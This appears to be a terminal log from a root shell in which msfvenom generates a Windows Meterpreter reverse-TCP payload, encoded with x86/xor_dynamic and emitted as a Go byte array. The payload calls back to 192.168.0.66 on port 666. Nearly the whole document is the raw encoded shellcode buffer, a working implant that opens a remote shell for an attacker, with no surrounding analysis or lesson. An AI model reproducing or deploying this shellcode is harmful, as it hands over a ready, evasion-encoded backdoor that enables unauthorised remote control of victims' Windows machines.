- ┌──(root㉿XTBK-3006)-[/home/security]
- └─# msfvenom -p windows/meterpreter/reverse_tcp LHost=192.168.0.66 LPORT=666 -f go -e x86/xor_dynamic -i 1
- [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
- [-] No arch selected, selecting arch: x86 from the payload
- Found 1 compatible encoders
- Attempting to encode payload with 1 iterations of x86/xor_dynamic
- x86/xor_dynamic succeeded with size 400 (iteration=0)
- x86/xor_dynamic chosen with final size 400
- Payload size: 400 bytes
- Final size of go file: 2050 bytes
- buf := []byte{0xeb,0x23,0x5b,0x89,0xdf,0xb0,0xfc,0xfc,0xae,
- 0x75,0xfd,0x89,0xf9,0x89,0xde,0x8a,0x06,0x30,0x07,0x47,0x66,
- 0x81,0x3f,0x47,0x2d,0x74,0x08,0x46,0x80,0x3e,0xfc,0x75,0xee,
- 0xeb,0xea,0xff,0xe1,0xe8,0xd8,0xff,0xff,0xff,0x13,0xfc,0xef,
- 0xfb,0x9c,0x13,0x13,0x13,0x73,0x22,0xc1,0x77,0x98,0x41,0x23,
- 0x98,0x41,0x1f,0x9a,0xf6,0x98,0x41,0x07,0x1c,0xa4,0x59,0x35,
- 0x22,0xec,0x98,0x61,0x3b,0x22,0xd3,0xbf,0x2f,0x72,0x6f,0x11,
- 0x3f,0x33,0xd2,0xdc,0x1e,0x12,0xd4,0x5a,0x66,0xfc,0x41,0x98,
- 0x41,0x03,0x44,0x98,0x51,0x2f,0x12,0xc3,0x98,0x53,0x6b,0x96,
- 0xd3,0x67,0x5f,0x12,0xc3,0x98,0x4b,0x33,0x98,0x5b,0x0b,0x12,
- 0xc0,0x43,0x96,0xda,0x67,0x2f,0x5a,0x98,0x27,0x98,0x22,0xec,
- 0x12,0xc5,0x22,0xd3,0xbf,0xd2,0xdc,0x1e,0x12,0xd4,0x2b,0xf3,
- 0x66,0xe7,0x10,0x6e,0xeb,0x28,0x6e,0x37,0x66,0xf3,0x4b,0x98,
- 0x4b,0x37,0x12,0xc0,0x75,0x98,0x1f,0x58,0x98,0x4b,0x0f,0x12,
- 0xc0,0x98,0x17,0x98,0x12,0xc3,0x9a,0x57,0x37,0x37,0x48,0x48,
- 0x72,0x4a,0x49,0x42,0xec,0xf3,0x4b,0x4c,0x49,0x98,0x01,0xfa,
- 0x93,0xec,0xec,0xec,0x4e,0x7b,0x20,0x21,0x13,0x13,0x7b,0x64,
- 0x60,0x21,0x4c,0x47,0x7b,0x5f,0x64,0x35,0x14,0x9a,0xfb,0xec,
- 0xc3,0xab,0x83,0x12,0x13,0x13,0x3a,0xd7,0x47,0x43,0x7b,0x3a,
- 0x93,0x78,0x13,0xec,0xc6,0x79,0x19,0x7b,0xd3,0xbb,0x13,0x51,
- 0x7b,0x11,0x13,0x11,0x89,0x9a,0xf5,0x43,0x43,0x43,0x43,0x53,
- 0x43,0x53,0x43,0x7b,0xf9,0x1c,0xcc,0xf3,0xec,0xc6,0x84,0x79,
- 0x03,0x45,0x44,0x7b,0x8a,0xb6,0x67,0x72,0xec,0xc6,0x96,0xd3,
- 0x67,0x19,0xec,0x5d,0x1b,0x66,0xff,0xfb,0x74,0x13,0x13,0x13,
- 0x79,0x13,0x79,0x17,0x45,0x44,0x7b,0x11,0xca,0xdb,0x4c,0xec,
- 0xc6,0x90,0xeb,0x13,0x6d,0x25,0x98,0x25,0x79,0x53,0x7b,0x13,
- 0x03,0x13,0x13,0x45,0x79,0x13,0x7b,0x4b,0xb7,0x40,0xf6,0xec,
- 0xc6,0x80,0x40,0x79,0x13,0x45,0x40,0x44,0x7b,0x11,0xca,0xdb,
- 0x4c,0xec,0xc6,0x90,0xeb,0x13,0x6e,0x3b,0x4b,0x7b,0x13,0x53,
- 0x13,0x13,0x79,0x13,0x43,0x7b,0x18,0x3c,0x1c,0x23,0xec,0xc6,
- 0x44,0x7b,0x66,0x7d,0x5e,0x72,0xec,0xc6,0x4d,0x4d,0xec,0x1f,
- 0x37,0x1c,0x96,0x63,0xec,0xec,0xec,0xfa,0x88,0xec,0xec,0xec,
- 0x12,0xd0,0x3a,0xd5,0x66,0xd2,0xd0,0xa8,0xe3,0xa6,0xb1,0x45,
- 0x79,0x13,0x40,0xec,0xc6,0x47,0x2d};